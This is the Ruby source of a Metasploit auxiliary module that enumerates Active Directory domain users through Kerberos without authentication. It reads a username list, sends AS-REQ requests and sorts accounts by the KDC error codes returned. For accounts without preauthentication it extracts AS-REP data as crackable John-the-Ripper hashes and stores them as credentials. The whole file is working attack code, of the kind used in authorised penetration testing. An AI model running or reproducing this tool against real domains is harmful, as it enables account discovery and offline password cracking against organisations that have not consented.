Files
metasploit-gs/modules/auxiliary/gather/kerberos_enumusers.rb
T
2022-04-08 20:48:10 +01:00

155 lines
5.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Kerberos::Client
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kerberos Domain User Enumeration',
'Description' => %q{
This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes
the different responses returned by the service for valid and invalid users.
},
'Author' => [
'Matt Byrne <attackdebris[at]gmail.com>', # Original Metasploit module
'alanfoster' # Enhancements
],
'References' => [
['URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html']
],
'License' => MSF_LICENSE
)
)
register_options(
[
OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]),
OptPath.new(
'USER_FILE',
[true, 'Files containing usernames, one per line', nil]
)
],
self.class
)
end
def user_list
if File.readable? datastore['USER_FILE']
users = File.new(datastore['USER_FILE']).readlines(chomp: true)
users.each(&:downcase!)
users.uniq!
else
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
end
users
end
def run
domain = datastore['DOMAIN'].upcase
print_status("Using domain: #{domain} - #{peer}...")
pre_auth = []
pre_auth << build_pa_pac_request
pre_auth
user_list.each do |user|
next if user.empty?
begin
res = send_request_as(
client_name: user.to_s,
server_name: "krbtgt/#{domain}",
realm: domain.to_s,
pa_data: pre_auth
)
rescue ::EOFError => e
print_error("#{peer} - User: #{user.inspect} - EOF Error #{e.message}. Aborting...")
elog(e)
# Stop further requests entirely
return false
rescue Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e
print_error("#{peer} - User: #{user.inspect} - Decoding Error - #{e.message}. Aborting...")
elog(e)
# Stop further requests entirely
return false
end
case res.msg_type
when Rex::Proto::Kerberos::Model::AS_REP
hash = format_asrep_to_john_hash(res)
# Accounts that have 'Do not require Kerberos preauthentication' enabled, will receive an ASREP response with a ticket present
print_good("#{peer} - User: #{user.inspect} does not require preauthentication. Hash: #{hash}")
report_cred(
user: user,
asrep: hash
)
when Rex::Proto::Kerberos::Model::KRB_ERROR
if res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
print_good("#{peer} - User: #{user.inspect} is present")
report_cred(user: user)
elsif res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CLIENT_REVOKED
print_error("#{peer} - User: #{user.inspect} account disabled or locked out")
elsif res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN
vprint_status("#{peer} - User: #{user.inspect} user not found")
elsif res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_WRONG_REALM
print_error("#{peer} - User: #{user.inspect} - #{res.error_code}. Domain option may be incorrect. Aborting...")
# Stop further requests entirely
return false
else
vprint_status("#{peer} - User: #{user.inspect} - #{res.error_code}")
end
else
vprint_status("#{peer} - User: #{user.inspect} - #{res.error_code}. Unknown response #{res.msg_type.inspect}")
end
end
end
def report_cred(opts)
domain = datastore['DOMAIN'].upcase
service_data = {
address: rhost,
port: rport,
protocol: 'tcp',
workspace_id: myworkspace_id,
service_name: 'kerberos',
realm_key: ::Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain
}
credential_data = {
username: opts[:user],
origin_type: :service,
module_fullname: fullname
}.merge(service_data)
if opts[:asrep]
credential_data.merge!(
private_data: opts[:asrep],
private_type: :nonreplayable_hash,
jtr_format: 'krb5'
)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
# @param [Rex::Proto::Kerberos::Model::KdcResponse] asrep The krb5 asrep response
# @return [String] A valid string format which can be cracked offline
def format_asrep_to_john_hash(asrep)
"$krb5asrep$#{asrep.enc_part.etype}$#{asrep.cname.name_string.join('/')}@#{asrep.ticket.realm}:#{asrep.enc_part.cipher[0...16].unpack1('H*')}$#{asrep.enc_part.cipher[16..].unpack1('H*')}"
end
end